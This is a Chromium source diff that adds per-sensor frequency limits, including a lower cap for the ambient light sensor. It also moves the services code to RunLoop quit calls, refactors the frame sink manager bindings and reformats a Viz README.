diff --git a/services/device/generic_sensor/platform_sensor_ambient_light_mac.cc b/services/device/generic_sensor/platform_sensor_ambient_light_mac.cc
index e60ced3..2caac139 100644
--- a/services/device/generic_sensor/platform_sensor_ambient_light_mac.cc
+++ b/services/device/generic_sensor/platform_sensor_ambient_light_mac.cc
@@ -12,6 +12,7 @@
 #include "device/base/synchronization/shared_memory_seqlock_buffer.h"
 #include "services/device/generic_sensor/generic_sensor_consts.h"
 #include "services/device/generic_sensor/platform_sensor_provider_mac.h"
+#include "services/device/public/cpp/generic_sensor/sensor_traits.h"
 
 namespace {
 
@@ -42,6 +43,8 @@
 
 namespace device {
 
+using mojom::SensorType;
+
 enum LmuFunctionIndex {
   kGetSensorReadingID = 0,  // getSensorReading(int *, int *)
 };
@@ -49,9 +52,7 @@
 PlatformSensorAmbientLightMac::PlatformSensorAmbientLightMac(
     mojo::ScopedSharedBufferMapping mapping,
     PlatformSensorProvider* provider)
-    : PlatformSensor(mojom::SensorType::AMBIENT_LIGHT,
-                     std::move(mapping),
-                     provider),
+    : PlatformSensor(SensorType::AMBIENT_LIGHT, std::move(mapping), provider),
       light_sensor_port_(nullptr),
       current_lux_(0.0) {}
 
@@ -65,13 +66,14 @@
     const PlatformSensorConfiguration& configuration) {
   return configuration.frequency() > 0 &&
          configuration.frequency() <=
-             mojom::SensorConfiguration::kMaxAllowedFrequency;
+             SensorTraits<SensorType::AMBIENT_LIGHT>::kMaxAllowedFrequency;
 }
 
 PlatformSensorConfiguration
 PlatformSensorAmbientLightMac::GetDefaultConfiguration() {
   PlatformSensorConfiguration default_configuration;
-  default_configuration.set_frequency(kDefaultAmbientLightFrequencyHz);
+  default_configuration.set_frequency(
+      SensorTraits<SensorType::AMBIENT_LIGHT>::kDefaultFrequency);
   return default_configuration;
 }
 
diff --git a/services/device/generic_sensor/platform_sensor_and_provider_unittest_linux.cc b/services/device/generic_sensor/platform_sensor_and_provider_unittest_linux.cc
index bcee24d..4e39915 100644
--- a/services/device/generic_sensor/platform_sensor_and_provider_unittest_linux.cc
+++ b/services/device/generic_sensor/platform_sensor_and_provider_unittest_linux.cc
@@ -14,6 +14,7 @@
 #include "services/device/generic_sensor/linux/sensor_data_linux.h"
 #include "services/device/generic_sensor/linux/sensor_device_manager.h"
 #include "services/device/generic_sensor/platform_sensor_provider_linux.h"
+#include "services/device/public/cpp/generic_sensor/sensor_traits.h"
 
 #include "testing/gmock/include/gmock/gmock.h"
 #include "testing/gtest/include/gtest/gtest.h"
@@ -421,7 +422,7 @@
   EXPECT_TRUE(als_sensor);
   EXPECT_EQ(als_sensor->GetType(), SensorType::AMBIENT_LIGHT);
   EXPECT_THAT(als_sensor->GetDefaultConfiguration().frequency(),
-              kDefaultAmbientLightFrequencyHz);
+              SensorTraits<SensorType::AMBIENT_LIGHT>::kDefaultFrequency);
 
   auto accel_sensor = CreateSensor(SensorType::ACCELEROMETER);
   EXPECT_TRUE(accel_sensor);
@@ -471,7 +472,7 @@
   EXPECT_TRUE(sensor);
   EXPECT_EQ(SensorType::AMBIENT_LIGHT, sensor->GetType());
   EXPECT_THAT(sensor->GetMaximumSupportedFrequency(),
-              kDefaultAmbientLightFrequencyHz);
+              SensorTraits<SensorType::AMBIENT_LIGHT>::kDefaultFrequency);
 }
 
 // Tests that Ambient Light sensor is correctly read.
diff --git a/services/device/generic_sensor/sensor_provider_impl.cc b/services/device/generic_sensor/sensor_provider_impl.cc
index 1f54909..d546d2e 100644
--- a/services/device/generic_sensor/sensor_provider_impl.cc
+++ b/services/device/generic_sensor/sensor_provider_impl.cc
@@ -11,6 +11,7 @@
 #include "mojo/public/cpp/bindings/strong_binding.h"
 #include "services/device/generic_sensor/platform_sensor_provider.h"
 #include "services/device/generic_sensor/sensor_impl.h"
+#include "services/device/public/cpp/generic_sensor/sensor_traits.h"
 
 namespace device {
 
@@ -91,16 +92,34 @@
   init_params->memory = std::move(cloned_handle);
   init_params->buffer_offset = SensorReadingSharedBuffer::GetOffset(type);
   init_params->mode = sensor->GetReportingMode();
-  init_params->default_configuration = sensor->GetDefaultConfiguration();
 
   double maximum_frequency = sensor->GetMaximumSupportedFrequency();
   DCHECK_GT(maximum_frequency, 0.0);
-  if (maximum_frequency > mojom::SensorConfiguration::kMaxAllowedFrequency)
-    maximum_frequency = mojom::SensorConfiguration::kMaxAllowedFrequency;
 
+  double minimum_frequency = sensor->GetMinimumSupportedFrequency();
+  DCHECK_GT(minimum_frequency, 0.0);
+
+  const double maximum_allowed_frequency = GetSensorMaxAllowedFrequency(type);
+  if (maximum_frequency > maximum_allowed_frequency)
+    maximum_frequency = maximum_allowed_frequency;
+  // These checks are to make sure the following assertion is still true:
+  // 'minimum_frequency <= default_frequency <= maximum_frequency'
+  // after we capped the maximium frequency to the value from traits
+  // (and also in case platform gave us some wacky values).
+  if (minimum_frequency > maximum_frequency)
+    minimum_frequency = maximum_frequency;
+
+  auto default_configuration = sensor->GetDefaultConfiguration();
+  if (default_configuration.frequency() > maximum_frequency)
+    default_configuration.set_frequency(maximum_frequency);
+  if (default_configuration.frequency() < minimum_frequency)
+    default_configuration.set_frequency(minimum_frequency);
+
+  init_params->default_configuration = default_configuration;
   init_params->maximum_frequency = maximum_frequency;
   init_params->minimum_frequency = sensor->GetMinimumSupportedFrequency();
   DCHECK_GT(init_params->minimum_frequency, 0.0);
+  DCHECK_GE(init_params->maximum_frequency, init_params->minimum_frequency);
 
   NotifySensorCreated(std::move(init_params), sensor_impl->GetClient(),
                       std::move(callback));
diff --git a/services/device/public/cpp/generic_sensor/BUILD.gn b/services/device/public/cpp/generic_sensor/BUILD.gn
index bee8552..037a630 100644
--- a/services/device/public/cpp/generic_sensor/BUILD.gn
+++ b/services/device/public/cpp/generic_sensor/BUILD.gn
@@ -10,6 +10,8 @@
     "sensor_reading.h",
     "sensor_reading_shared_buffer_reader.cc",
     "sensor_reading_shared_buffer_reader.h",
+    "sensor_traits.cc",
+    "sensor_traits.h",
   ]
 
   public_deps = [
diff --git a/services/device/public/cpp/generic_sensor/platform_sensor_configuration.cc b/services/device/public/cpp/generic_sensor/platform_sensor_configuration.cc
index 2079b30..09ee8268 100644
--- a/services/device/public/cpp/generic_sensor/platform_sensor_configuration.cc
+++ b/services/device/public/cpp/generic_sensor/platform_sensor_configuration.cc
@@ -4,22 +4,18 @@
 
 #include "services/device/public/cpp/generic_sensor/platform_sensor_configuration.h"
 
-#include "services/device/public/interfaces/sensor.mojom.h"
-
 namespace device {
 
 PlatformSensorConfiguration::PlatformSensorConfiguration(double frequency)
     : frequency_(frequency) {
-  DCHECK(frequency_ <= mojom::SensorConfiguration::kMaxAllowedFrequency &&
-         frequency_ > 0.0);
+  DCHECK_GT(frequency_, 0.0);
 }
 
 PlatformSensorConfiguration::PlatformSensorConfiguration() = default;
 PlatformSensorConfiguration::~PlatformSensorConfiguration() = default;
 
 void PlatformSensorConfiguration::set_frequency(double frequency) {
-  DCHECK(frequency_ <= mojom::SensorConfiguration::kMaxAllowedFrequency &&
-         frequency_ > 0.0);
+  DCHECK_GT(frequency_, 0.0);
   frequency_ = frequency;
 }
 
diff --git a/services/device/public/cpp/generic_sensor/sensor_struct_traits.cc b/services/device/public/cpp/generic_sensor/sensor_struct_traits.cc
index 89c49e9..39a233e0 100644
--- a/services/device/public/cpp/generic_sensor/sensor_struct_traits.cc
+++ b/services/device/public/cpp/generic_sensor/sensor_struct_traits.cc
@@ -6,15 +6,16 @@
 
 namespace mojo {
 
+// Note: the constant below must be maximum defined sensor traits
+// (see sensor_traits.h).
+constexpr double kMaxAllowedFrequency = 60.0;
+
 // static
 bool StructTraits<device::mojom::SensorConfigurationDataView,
                   device::PlatformSensorConfiguration>::
     Read(device::mojom::SensorConfigurationDataView data,
          device::PlatformSensorConfiguration* out) {
-  // Maximum allowed frequency is capped to 60Hz.
-  if (data.frequency() >
-          device::mojom::SensorConfiguration::kMaxAllowedFrequency ||
-      data.frequency() <= 0.0) {
+  if (data.frequency() > kMaxAllowedFrequency || data.frequency() <= 0.0) {
     return false;
   }
 
diff --git a/services/device/public/cpp/generic_sensor/sensor_traits.cc b/services/device/public/cpp/generic_sensor/sensor_traits.cc
new file mode 100644
index 0000000..f284493
--- /dev/null
+++ b/services/device/public/cpp/generic_sensor/sensor_traits.cc
@@ -0,0 +1,46 @@
+// Copyright 2017 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "services/device/public/cpp/generic_sensor/sensor_traits.h"
+
+namespace device {
+
+using mojom::SensorType;
+
+double GetSensorMaxAllowedFrequency(SensorType type) {
+  switch (type) {
+    case SensorType::AMBIENT_LIGHT:
+      return SensorTraits<SensorType::AMBIENT_LIGHT>::kMaxAllowedFrequency;
+    case SensorType::PROXIMITY:
+      return SensorTraits<SensorType::PROXIMITY>::kMaxAllowedFrequency;
+    case SensorType::ACCELEROMETER:
+      return SensorTraits<SensorType::ACCELEROMETER>::kMaxAllowedFrequency;
+    case SensorType::LINEAR_ACCELERATION:
+      return SensorTraits<
+          SensorType::LINEAR_ACCELERATION>::kMaxAllowedFrequency;
+    case SensorType::GYROSCOPE:
+      return SensorTraits<SensorType::GYROSCOPE>::kMaxAllowedFrequency;
+    case SensorType::MAGNETOMETER:
+      return SensorTraits<SensorType::MAGNETOMETER>::kMaxAllowedFrequency;
+    case SensorType::PRESSURE:
+      return SensorTraits<SensorType::PRESSURE>::kMaxAllowedFrequency;
+    case SensorType::ABSOLUTE_ORIENTATION_EULER_ANGLES:
+      return SensorTraits<
+          SensorType::ABSOLUTE_ORIENTATION_EULER_ANGLES>::kMaxAllowedFrequency;
+    case SensorType::ABSOLUTE_ORIENTATION_QUATERNION:
+      return SensorTraits<
+          SensorType::ABSOLUTE_ORIENTATION_QUATERNION>::kMaxAllowedFrequency;
+    case SensorType::RELATIVE_ORIENTATION_EULER_ANGLES:
+      return SensorTraits<
+          SensorType::RELATIVE_ORIENTATION_EULER_ANGLES>::kMaxAllowedFrequency;
+    case SensorType::RELATIVE_ORIENTATION_QUATERNION:
+      return SensorTraits<
+          SensorType::RELATIVE_ORIENTATION_QUATERNION>::kMaxAllowedFrequency;
+    default:
+      NOTREACHED() << "Unknown sensor type " << type;
+      return SensorTraits<SensorType::LAST>::kMaxAllowedFrequency;
+  }
+}
+
+}  // namespace device
diff --git a/services/device/public/cpp/generic_sensor/sensor_traits.h b/services/device/public/cpp/generic_sensor/sensor_traits.h
new file mode 100644
index 0000000..8e63b22
--- /dev/null
+++ b/services/device/public/cpp/generic_sensor/sensor_traits.h
@@ -0,0 +1,35 @@
+// Copyright 2017 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#ifndef SERVICES_DEVICE_PUBLIC_CPP_GENERIC_SENSOR_SENSOR_TRAITS_H_
+#define SERVICES_DEVICE_PUBLIC_CPP_GENERIC_SENSOR_SENSOR_TRAITS_H_
+
+#include "services/device/public/interfaces/sensor.mojom.h"
+
+namespace device {
+
+template <mojom::SensorType>
+struct SensorTraits {
+  static constexpr double kMaxAllowedFrequency = 60.0;
+  // Used if the actual value cannot be obtained from the platform.
+  static constexpr double kDefaultFrequency = 10.0;
+};
+
+template <>
+struct SensorTraits<mojom::SensorType::AMBIENT_LIGHT> {
+  static constexpr double kMaxAllowedFrequency = 10.0;
+  static constexpr double kDefaultFrequency = 5.0;
+};
+
+template <>
+struct SensorTraits<mojom::SensorType::MAGNETOMETER> {
+  static constexpr double kMaxAllowedFrequency = 10.0;
+  static constexpr double kDefaultFrequency = 10.0;
+};
+
+double GetSensorMaxAllowedFrequency(mojom::SensorType type);
+
+}  // namespace device
+
+#endif  // SERVICES_DEVICE_PUBLIC_CPP_GENERIC_SENSOR_SENSOR_TRAITS_H_
diff --git a/services/device/public/interfaces/BUILD.gn b/services/device/public/interfaces/BUILD.gn
index db32b96..251a8756 100644
--- a/services/device/public/interfaces/BUILD.gn
+++ b/services/device/public/interfaces/BUILD.gn
@@ -24,7 +24,7 @@
   ]
 
   # TODO(crbug.com/699569): Convert to use the new JS bindings.
-  use_new_js_bindings = false
+  js_bindings_mode = "both"
 }
 
 mojom("generic_sensor") {
diff --git a/services/device/public/interfaces/sensor.mojom b/services/device/public/interfaces/sensor.mojom
index 305ba19c..2c7b5531 100644
--- a/services/device/public/interfaces/sensor.mojom
+++ b/services/device/public/interfaces/sensor.mojom
@@ -40,9 +40,6 @@
 };
 
 struct SensorConfiguration {
-  // Maximum allowed frequency is 60 Hz.
-  const double kMaxAllowedFrequency = 60.0;
-
   // Requested frequency in Hz.
   double frequency;
   // TODO(shalamov): Add map<string, union> for sensor specific configuration.
diff --git a/services/service_manager/public/cpp/service_runner.cc b/services/service_manager/public/cpp/service_runner.cc
index adbdf2e..0f0f5c4 100644
--- a/services/service_manager/public/cpp/service_runner.cc
+++ b/services/service_manager/public/cpp/service_runner.cc
@@ -69,7 +69,7 @@
 }
 
 void ServiceRunner::Quit() {
-  base::MessageLoop::current()->QuitWhenIdle();
+  base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 }  // namespace service_manager
diff --git a/services/service_manager/standalone/context.cc b/services/service_manager/standalone/context.cc
index 3c94276..0ed79a2b 100644
--- a/services/service_manager/standalone/context.cc
+++ b/services/service_manager/standalone/context.cc
@@ -16,9 +16,9 @@
 #include "base/json/json_file_value_serializer.h"
 #include "base/macros.h"
 #include "base/memory/ptr_util.h"
-#include "base/message_loop/message_loop.h"
 #include "base/path_service.h"
 #include "base/process/process_info.h"
+#include "base/run_loop.h"
 #include "base/strings/string_number_conversions.h"
 #include "base/strings/string_split.h"
 #include "base/strings/string_util.h"
@@ -71,7 +71,7 @@
 
 void OnInstanceQuit(const std::string& name, const Identity& identity) {
   if (name == identity.name())
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 const char kService[] = "service";
diff --git a/services/service_manager/tests/connect/connect_test_app.cc b/services/service_manager/tests/connect/connect_test_app.cc
index c0802daf..8b6e6bc 100644
--- a/services/service_manager/tests/connect/connect_test_app.cc
+++ b/services/service_manager/tests/connect/connect_test_app.cc
@@ -203,7 +203,7 @@
 
   void OnConnectionError() {
     if (bindings_.empty() && standalone_bindings_.empty())
-      base::MessageLoop::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   BinderRegistryWithArgs<const BindSourceInfo&> registry_;
diff --git a/services/service_manager/tests/connect/connect_test_package.cc b/services/service_manager/tests/connect/connect_test_package.cc
index b87c0ea4..35255ef 100644
--- a/services/service_manager/tests/connect/connect_test_package.cc
+++ b/services/service_manager/tests/connect/connect_test_package.cc
@@ -152,7 +152,7 @@
 
   void OnConnectionError() {
     if (bindings_.empty())
-      base::MessageLoop::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   const std::string title_;
diff --git a/services/service_manager/tests/lifecycle/app_client.cc b/services/service_manager/tests/lifecycle/app_client.cc
index e1880fe..69082be 100644
--- a/services/service_manager/tests/lifecycle/app_client.cc
+++ b/services/service_manager/tests/lifecycle/app_client.cc
@@ -5,7 +5,7 @@
 #include "services/service_manager/tests/lifecycle/app_client.h"
 
 #include "base/macros.h"
-#include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "services/service_manager/public/cpp/service_context.h"
 
 namespace service_manager {
@@ -25,7 +25,7 @@
 }
 
 bool AppClient::OnServiceManagerConnectionLost() {
-  base::MessageLoop::current()->QuitWhenIdle();
+  base::RunLoop::QuitCurrentWhenIdleDeprecated();
   return true;
 }
 
diff --git a/services/service_manager/tests/lifecycle/package.cc b/services/service_manager/tests/lifecycle/package.cc
index 6c48744..94e9471 100644
--- a/services/service_manager/tests/lifecycle/package.cc
+++ b/services/service_manager/tests/lifecycle/package.cc
@@ -8,7 +8,6 @@
 #include "base/bind.h"
 #include "base/macros.h"
 #include "base/memory/ptr_util.h"
-#include "base/message_loop/message_loop.h"
 #include "base/run_loop.h"
 #include "mojo/public/cpp/bindings/binding_set.h"
 #include "services/service_manager/public/c/main.h"
@@ -147,7 +146,7 @@
     contexts_.erase(it);
     id_to_context_.erase(id_it);
     if (contexts_.empty() && base::RunLoop::IsRunningOnCurrentThread())
-      base::MessageLoop::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   service_manager::test::AppClient app_client_;
diff --git a/services/service_manager/tests/lifecycle/parent.cc b/services/service_manager/tests/lifecycle/parent.cc
index 780f8c4f..7d204e3 100644
--- a/services/service_manager/tests/lifecycle/parent.cc
+++ b/services/service_manager/tests/lifecycle/parent.cc
@@ -58,9 +58,7 @@
     }
     std::move(callback).Run();
   }
-  void Quit() override {
-    base::MessageLoop::current()->QuitWhenIdle();
-  }
+  void Quit() override { base::RunLoop::QuitCurrentWhenIdleDeprecated(); }
 
   service_manager::BinderRegistry registry_;
   mojo::BindingSet<service_manager::test::mojom::Parent> parent_bindings_;
diff --git a/services/service_manager/tests/service_manager/embedder.cc b/services/service_manager/tests/service_manager/embedder.cc
index 4fc19e47..bed481b2 100644
--- a/services/service_manager/tests/service_manager/embedder.cc
+++ b/services/service_manager/tests/service_manager/embedder.cc
@@ -8,7 +8,7 @@
 #include "base/command_line.h"
 #include "base/macros.h"
 #include "base/memory/ptr_util.h"
-#include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "mojo/public/cpp/bindings/binding_set.h"
 #include "services/service_manager/public/c/main.h"
 #include "services/service_manager/public/cpp/binder_registry.h"
@@ -52,7 +52,7 @@
   }
 
   bool OnServiceManagerConnectionLost() override {
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
     return true;
   }
 
diff --git a/services/ui/gpu/gpu_service.cc b/services/ui/gpu/gpu_service.cc
index eb0e4b42..59f89eb 100644
--- a/services/ui/gpu/gpu_service.cc
+++ b/services/ui/gpu/gpu_service.cc
@@ -8,7 +8,7 @@
 #include "base/debug/crash_logging.h"
 #include "base/lazy_instance.h"
 #include "base/memory/shared_memory.h"
-#include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "base/threading/thread_task_runner_handle.h"
 #include "build/build_config.h"
 #include "components/viz/common/gpu/in_process_context_provider.h"
@@ -295,7 +295,7 @@
 #if defined(OS_WIN)
   if (!in_host_process_) {
     // The unsandboxed GPU process fulfilled its duty. Rest in peace.
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 #endif
 }
@@ -523,10 +523,10 @@
 
 void GpuService::Stop(const StopCallback& callback) {
   DCHECK(io_runner_->BelongsToCurrentThread());
-  main_runner_->PostTaskAndReply(FROM_HERE, base::Bind([] {
-                                   base::MessageLoop::current()->QuitWhenIdle();
-                                 }),
-                                 callback);
+  main_runner_->PostTaskAndReply(
+      FROM_HERE,
+      base::Bind([] { base::RunLoop::QuitCurrentWhenIdleDeprecated(); }),
+      callback);
 }
 
 }  // namespace ui
diff --git a/services/ui/service.cc b/services/ui/service.cc
index 35f2e91..e937362 100644
--- a/services/ui/service.cc
+++ b/services/ui/service.cc
@@ -9,7 +9,6 @@
 #include "base/bind.h"
 #include "base/command_line.h"
 #include "base/memory/ptr_util.h"
-#include "base/message_loop/message_loop.h"
 #include "base/run_loop.h"
 #include "base/threading/platform_thread.h"
 #include "base/trace_event/trace_event.h"
@@ -357,7 +356,7 @@
 void Service::OnNoMoreDisplays() {
   // We may get here from the destructor, in which case there is no messageloop.
   if (base::RunLoop::IsRunningOnCurrentThread())
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 bool Service::IsTestConfig() const {
diff --git a/services/ui/ws/frame_sink_manager_client_binding.cc b/services/ui/ws/frame_sink_manager_client_binding.cc
index 220fe664..0d0e58d 100644
--- a/services/ui/ws/frame_sink_manager_client_binding.cc
+++ b/services/ui/ws/frame_sink_manager_client_binding.cc
@@ -21,27 +21,33 @@
 
 FrameSinkManagerClientBinding::~FrameSinkManagerClientBinding() = default;
 
+void FrameSinkManagerClientBinding::RegisterFrameSinkId(
+    const viz::FrameSinkId& frame_sink_id) {
+  frame_sink_manager_->RegisterFrameSinkId(frame_sink_id);
+}
+
+void FrameSinkManagerClientBinding::InvalidateFrameSinkId(
+    const viz::FrameSinkId& frame_sink_id) {
+  frame_sink_manager_->InvalidateFrameSinkId(frame_sink_id);
+}
+
 void FrameSinkManagerClientBinding::CreateRootCompositorFrameSink(
     const viz::FrameSinkId& frame_sink_id,
     gpu::SurfaceHandle surface_handle,
     cc::mojom::CompositorFrameSinkAssociatedRequest request,
-    cc::mojom::CompositorFrameSinkPrivateRequest private_request,
     cc::mojom::CompositorFrameSinkClientPtr client,
     cc::mojom::DisplayPrivateAssociatedRequest display_private_request) {
   frame_sink_manager_->CreateRootCompositorFrameSink(
-      frame_sink_id, surface_handle, std::move(request),
-      std::move(private_request), std::move(client),
+      frame_sink_id, surface_handle, std::move(request), std::move(client),
       std::move(display_private_request));
 }
 
 void FrameSinkManagerClientBinding::CreateCompositorFrameSink(
     const viz::FrameSinkId& frame_sink_id,
     cc::mojom::CompositorFrameSinkRequest request,
-    cc::mojom::CompositorFrameSinkPrivateRequest private_request,
     cc::mojom::CompositorFrameSinkClientPtr client) {
   frame_sink_manager_->CreateCompositorFrameSink(
-      frame_sink_id, std::move(request), std::move(private_request),
-      std::move(client));
+      frame_sink_id, std::move(request), std::move(client));
 }
 
 void FrameSinkManagerClientBinding::RegisterFrameSinkHierarchy(
@@ -58,6 +64,12 @@
                                                     child_frame_sink_id);
 }
 
+void FrameSinkManagerClientBinding::AssignTemporaryReference(
+    const viz::SurfaceId& surface_id,
+    const viz::FrameSinkId& owner) {
+  frame_sink_manager_->AssignTemporaryReference(surface_id, owner);
+}
+
 void FrameSinkManagerClientBinding::DropTemporaryReference(
     const viz::SurfaceId& surface_id) {
   frame_sink_manager_->DropTemporaryReference(surface_id);
diff --git a/services/ui/ws/frame_sink_manager_client_binding.h b/services/ui/ws/frame_sink_manager_client_binding.h
index 22de990..3927b31 100644
--- a/services/ui/ws/frame_sink_manager_client_binding.h
+++ b/services/ui/ws/frame_sink_manager_client_binding.h
@@ -28,18 +28,18 @@
 
  private:
   // cc::mojom::FrameSinkManager:
+  void RegisterFrameSinkId(const viz::FrameSinkId& frame_sink_id) override;
+  void InvalidateFrameSinkId(const viz::FrameSinkId& frame_sink_id) override;
   void CreateRootCompositorFrameSink(
       const viz::FrameSinkId& frame_sink_id,
       gpu::SurfaceHandle surface_handle,
       cc::mojom::CompositorFrameSinkAssociatedRequest request,
-      cc::mojom::CompositorFrameSinkPrivateRequest private_request,
       cc::mojom::CompositorFrameSinkClientPtr client,
       cc::mojom::DisplayPrivateAssociatedRequest display_private_request)
       override;
   void CreateCompositorFrameSink(
       const viz::FrameSinkId& frame_sink_id,
       cc::mojom::CompositorFrameSinkRequest request,
-      cc::mojom::CompositorFrameSinkPrivateRequest private_request,
       cc::mojom::CompositorFrameSinkClientPtr client) override;
   void RegisterFrameSinkHierarchy(
       const viz::FrameSinkId& parent_frame_sink_id,
@@ -47,6 +47,8 @@
   void UnregisterFrameSinkHierarchy(
       const viz::FrameSinkId& parent_frame_sink_id,
       const viz::FrameSinkId& child_frame_sink_id) override;
+  void AssignTemporaryReference(const viz::SurfaceId& surface_id,
+                                const viz::FrameSinkId& owner) override;
   void DropTemporaryReference(const viz::SurfaceId& surface_id) override;
 
   mojo::Binding<cc::mojom::FrameSinkManagerClient>
diff --git a/services/ui/ws/server_window.cc b/services/ui/ws/server_window.cc
index bc3dc7b..27d58db 100644
--- a/services/ui/ws/server_window.cc
+++ b/services/ui/ws/server_window.cc
@@ -395,7 +395,8 @@
 ServerWindow::GetOrCreateCompositorFrameSinkManager() {
   if (!compositor_frame_sink_manager_.get())
     compositor_frame_sink_manager_ =
-        base::MakeUnique<ServerWindowCompositorFrameSinkManager>(this);
+        base::MakeUnique<ServerWindowCompositorFrameSinkManager>(
+            frame_sink_id_, delegate_->GetFrameSinkManager());
   return compositor_frame_sink_manager_.get();
 }
 
diff --git a/services/ui/ws/server_window_compositor_frame_sink_manager.cc b/services/ui/ws/server_window_compositor_frame_sink_manager.cc
index 9e442a3..b751718 100644
--- a/services/ui/ws/server_window_compositor_frame_sink_manager.cc
+++ b/services/ui/ws/server_window_compositor_frame_sink_manager.cc
@@ -15,11 +15,15 @@
 namespace ws {
 
 ServerWindowCompositorFrameSinkManager::ServerWindowCompositorFrameSinkManager(
-    ServerWindow* window)
-    : window_(window) {}
+    const viz::FrameSinkId& frame_sink_id,
+    cc::mojom::FrameSinkManager* frame_sink_manager)
+    : frame_sink_id_(frame_sink_id), frame_sink_manager_(frame_sink_manager) {
+  frame_sink_manager_->RegisterFrameSinkId(frame_sink_id_);
+}
 
 ServerWindowCompositorFrameSinkManager::
     ~ServerWindowCompositorFrameSinkManager() {
+  frame_sink_manager_->InvalidateFrameSinkId(frame_sink_id_);
 }
 
 void ServerWindowCompositorFrameSinkManager::CreateRootCompositorFrameSink(
@@ -27,40 +31,24 @@
     cc::mojom::CompositorFrameSinkAssociatedRequest sink_request,
     cc::mojom::CompositorFrameSinkClientPtr client,
     cc::mojom::DisplayPrivateAssociatedRequest display_request) {
-  if (!pending_compositor_frame_sink_request_.is_pending()) {
-    pending_compositor_frame_sink_request_ =
-        mojo::MakeRequest(&compositor_frame_sink_);
-  }
-
   // TODO(fsamuel): AcceleratedWidget cannot be transported over IPC for Mac
   // or Android. We should instead use GpuSurfaceTracker here on those
   // platforms.
-  window_->delegate()->GetFrameSinkManager()->CreateRootCompositorFrameSink(
-      window_->frame_sink_id(), widget, std::move(sink_request),
-      std::move(pending_compositor_frame_sink_request_), std::move(client),
+  frame_sink_manager_->CreateRootCompositorFrameSink(
+      frame_sink_id_, widget, std::move(sink_request), std::move(client),
       std::move(display_request));
 }
 
 void ServerWindowCompositorFrameSinkManager::CreateCompositorFrameSink(
     cc::mojom::CompositorFrameSinkRequest request,
     cc::mojom::CompositorFrameSinkClientPtr client) {
-  if (!pending_compositor_frame_sink_request_.is_pending()) {
-    pending_compositor_frame_sink_request_ =
-        mojo::MakeRequest(&compositor_frame_sink_);
-  }
-
-  window_->delegate()->GetFrameSinkManager()->CreateCompositorFrameSink(
-      window_->frame_sink_id(), std::move(request),
-      std::move(pending_compositor_frame_sink_request_), std::move(client));
+  frame_sink_manager_->CreateCompositorFrameSink(
+      frame_sink_id_, std::move(request), std::move(client));
 }
 
 void ServerWindowCompositorFrameSinkManager::ClaimTemporaryReference(
     const viz::SurfaceId& surface_id) {
-  if (!compositor_frame_sink_.is_bound()) {
-    pending_compositor_frame_sink_request_ =
-        mojo::MakeRequest(&compositor_frame_sink_);
-  }
-  compositor_frame_sink_->ClaimTemporaryReference(surface_id);
+  frame_sink_manager_->AssignTemporaryReference(surface_id, frame_sink_id_);
 }
 
 }  // namespace ws
diff --git a/services/ui/ws/server_window_compositor_frame_sink_manager.h b/services/ui/ws/server_window_compositor_frame_sink_manager.h
index 2a200d29..a9b2867f 100644
--- a/services/ui/ws/server_window_compositor_frame_sink_manager.h
+++ b/services/ui/ws/server_window_compositor_frame_sink_manager.h
@@ -22,7 +22,9 @@
 // ServerWindow.
 class ServerWindowCompositorFrameSinkManager {
  public:
-  explicit ServerWindowCompositorFrameSinkManager(ServerWindow* window);
+  ServerWindowCompositorFrameSinkManager(
+      const viz::FrameSinkId& frame_sink_id,
+      cc::mojom::FrameSinkManager* frame_sink_manager);
   ~ServerWindowCompositorFrameSinkManager();
 
   // Creates a new CompositorFrameSink of the specified type, replacing the
@@ -41,11 +43,12 @@
   // temporary reference to |surface_id|.
   void ClaimTemporaryReference(const viz::SurfaceId& surface_id);
 
+  // TODO(kylechar): Add method to reregister |frame_sink_id_| when viz service
+  // has crashed.
+
  private:
-  ServerWindow* const window_;
-  cc::mojom::CompositorFrameSinkPrivatePtr compositor_frame_sink_;
-  cc::mojom::CompositorFrameSinkPrivateRequest
-      pending_compositor_frame_sink_request_;
+  const viz::FrameSinkId frame_sink_id_;
+  cc::mojom::FrameSinkManager* const frame_sink_manager_;
 
   DISALLOW_COPY_AND_ASSIGN(ServerWindowCompositorFrameSinkManager);
 };
diff --git a/services/ui/ws/test_utils.cc b/services/ui/ws/test_utils.cc
index bea861597..1a1618e 100644
--- a/services/ui/ws/test_utils.cc
+++ b/services/ui/ws/test_utils.cc
@@ -8,7 +8,7 @@
 
 #include "base/memory/ptr_util.h"
 #include "base/strings/string_number_conversions.h"
-#include "cc/output/copy_output_request.h"
+#include "components/viz/common/quads/copy_output_request.h"
 #include "gpu/ipc/client/gpu_channel_host.h"
 #include "services/service_manager/public/interfaces/connector.mojom.h"
 #include "services/ui/common/image_cursors_set.h"
diff --git a/services/viz/README.md b/services/viz/README.md
index 2c81055..9113dd16 100644
--- a/services/viz/README.md
+++ b/services/viz/README.md
@@ -1,5 +1,4 @@
-Viz Directory Structure
---------------------------------------------------------------------------------
+# Viz Directory Structure
 
 The Viz (Visuals) service is a collection of subservices: compositing, gl, hit
 testing, and media.
@@ -27,9 +26,10 @@
 
 We propose the following directory structure to accommodate Viz's needs.
 
+```
 //services/viz/public/interfaces/{compositing, gl, hit_test, media}
 //services/viz/public/<language>/{compositing, gl, hit_test, media}
---------------------------------------------------------------------------------
+```
 
 The interfaces directories contain mojoms that define the public, unprivileged
 interface for the Viz subservices. Clients may directly use the mojo interfaces
@@ -37,27 +37,31 @@
 directory if one exists for a given mojom. private and privileged interfaces
 described below may depend on public interfaces.
